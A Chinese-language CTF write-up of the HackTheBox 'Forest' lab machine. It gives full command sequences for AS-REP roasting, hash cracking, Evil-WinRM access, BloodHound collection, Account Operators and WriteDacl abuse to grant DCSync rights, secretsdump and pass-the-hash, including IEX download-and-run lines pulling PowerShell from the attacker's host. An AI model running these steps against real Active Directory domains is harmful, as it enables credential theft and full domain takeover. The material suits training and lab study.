> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Forest HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**技能：**

* AXFR - 域区传输攻击（失败）
* RPC 枚举 - 获取有效域用户
* 使用获取到的用户执行 AS-RepRoast 攻击
* 破解哈希
* 滥用 WinRM - EvilWinRM
* LDAP 枚举 - ldapdomaindump
* BloodHound 枚举
* 使用 SharpHound.ps1 收集系统信息 - PuckieStyle
* 在 BloodHound 中表示和可视化数据
* 在 BloodHound 中寻找攻击向量
* 滥用 Account Operators 组 - 创建新用户
* 滥用 Account Operators 组 - 将组分配给新创建的用户
* 滥用域中的 WriteDacl - 授予 DCSync 权限
* DCSync 利用 - Secretsdump.py
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/425feb48f53e89a4cfa858013ddf10b522a30eb4" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/635b6d8bdc1ffc9028a8e1bf088da3ae6770229f" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="/files/0ddda0a927af05f3d1bd014899b5f034e55c22a1" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

<figure><img src="/files/fc0076541dfda11e7237f2dd7abc3c7b495a35d0" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="/files/c1b58b544a70f423f139a5e758950535f669c024" alt=""><figcaption></figcaption></figure>

## **列表与操作：** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **SMB 侦察：** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

使用 CrackMapExec 识别操作系统

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="/files/feefc9e0396097ec663577001af0890e3cc21460" alt=""><figcaption></figcaption></figure></div>

通过 DNS 将域名解析为 IP 地址时，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/552a0a1119f3eb0efa24ef72fa61dc7f8f6512f2" alt=""><figcaption></figcaption></figure>

/ */ 探索网络中的 SMB 共享以识别共享资源，但没有结果。 //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="/files/6d4f43369740ed8ef5b802a7077607591b839ad0" alt=""><figcaption></figcaption></figure>

### **RPC 侦察：** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

使用 rpcclient 与 CPP 服务交互并收集资源信息

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="/files/40b8527c5738730b05886c38dd3691435cccd73b" alt=""><figcaption></figcaption></figure>

#### 列出组：

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="/files/292eda24b81d4f9eac94a14d748124dc83abf02e" alt=""><figcaption></figcaption></figure>

## ASREPRoast 攻击：

#### 有了有效用户列表，我们将进行 AS-RepRoast 攻击，因为我们不需要用户密码。

我们将使用 `grep` 用于筛选用户名，然后将这些数据插入到文件中

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="/files/a4e9f8505d2647cb374cc74a7af6b5d7d8e9c64d" alt=""><figcaption></figcaption></figure>

#### 我们使用 GetNPUsers.py 工具在没有密码的情况下提取用户信息：

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="/files/69dadc0bfceacf78e6827ee98b1ec1560aa971b2" alt=""><figcaption></figcaption></figure>

#### 我们获取用户“lucinda”密码的哈希，并尝试使用预定义密码列表通过 John the Ripper 进行破解：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/25f88021fc3b011d528717774028462b9cb4711c" alt=""><figcaption></figcaption></figure>

#### 我们使用 CrackMapExec 通过尝试 WinRM 连接来检查破解出的密码是否正确：

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="/files/a346b2a3d7df859660c5de7a96c5517aa6f88cb9" alt=""><figcaption></figcaption></figure></div>

#### 最后，我们使用 Evil-WinRM 通过破解出的凭据连接到远程机器：

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="/files/1360f1d18cd155868c4804b61ad16fed088095ef" alt=""><figcaption></figcaption></figure>

## 权限提升：

### 使用 BloodHound 进行域枚举 <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>安装 BloodHound：</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/ */ 使用 neo4j:neo4j 凭据登录 BloodHound。 //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**正在启动 BloodHound。**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="/files/9914fb586eb9f3659af4347ea98fe0f91f8f5950" alt=""><figcaption></figcaption></figure>

### 使用 SharpHound.ps1 收集信息 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### 将收集到的数据传输到 Linux 服务器。

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="/files/264623ec5a555884c22fc3390f9a0f4fe8f24ec0" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="/files/8ad94a30bcc05d2222b749248ce03feca5b0dc05" alt=""><figcaption></figcaption></figure>

#### 我们将 zip 文件传输到我们的团队。

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="/files/f4179bff64527cfeb2461154dfb8fa121a9494c8" alt=""><figcaption></figcaption></figure>

/ */ 在 BloodHound 中导入 zip 文件。 //*

<figure><img src="/files/ebd7ba5a507e1424650bbc872afb2f77f4b7d526" alt=""><figcaption></figcaption></figure>

### BloodHound 分析与操作 <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### 筛选数据以找到到域管理员的最短路径。

<div data-full-width="true"><figure><img src="/files/9b7bbde6001262ca225ac30a92ad254ec33267a4" alt=""><figcaption></figcaption></figure></div>

#### 识别是否属于潜在有问题的组（Account Operator）。

<div data-full-width="true"><figure><img src="/files/5eda4b829f8ee565cc8bfe8c86bef03c05a29733" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/da15ce832e610247f18404c93af1c011abb571e9" alt=""><figcaption></figcaption></figure></div>

#### 利用创建用户的能力准备 DCSync 攻击。

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="/files/e09b4a9699fd2ca5394358868a110545cd43e509" alt=""><figcaption></figcaption></figure>

### 权限不足时尝试 DCSync

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/502a64ec0d51cce7b02e11eab40287f0f55351a9" alt=""><figcaption></figcaption></figure>

#### 将用户添加到具有更高权限的组（`Exchange Windows Permissions`).

<figure><img src="/files/18dab3559255db5ed3db7147e18f63eae483ae5c" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="/files/5efd35b6265d929ac542daca20e57b3d60c4907b" alt=""><figcaption></figcaption></figure>

### WriteDACL 攻击：

<figure><img src="/files/2778a28d7d9ab089b9f82ace9e857a0f065dd01a" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

使用 PowerView\.ps1 准备 WriteDACL 攻击以添加功能。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="/files/d0d257e7242b4b7fe6f62463764bd0608f961b25" alt=""><figcaption></figcaption></figure>

#### 传输文件

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## DCSync 攻击漏洞 <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### 运行 Add-DomainObjectAcl 命令以获取哈希值。

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### 使用 Impacket 通过用户 jordanmacia 提取哈希值。

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/75be59cd4bb183bb23d548cc169915e6178967a4" alt=""><figcaption></figcaption></figure>

### Pass-the-Hash 攻击：

使用管理员的 NT 哈希进行 Pass-the-Hash 攻击。

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### 以管理员权限访问系统。

<figure><img src="/files/9808762d78087967c56bfb0e1eda2ab296f518e4" alt=""><figcaption></figcaption></figure>

### 最终 Flag :)

<figure><img src="/files/90d5f126c37d6bf3a79c609de32e37e014db28d8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7a57211a3500f54a708a620328db8983ab065d07" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
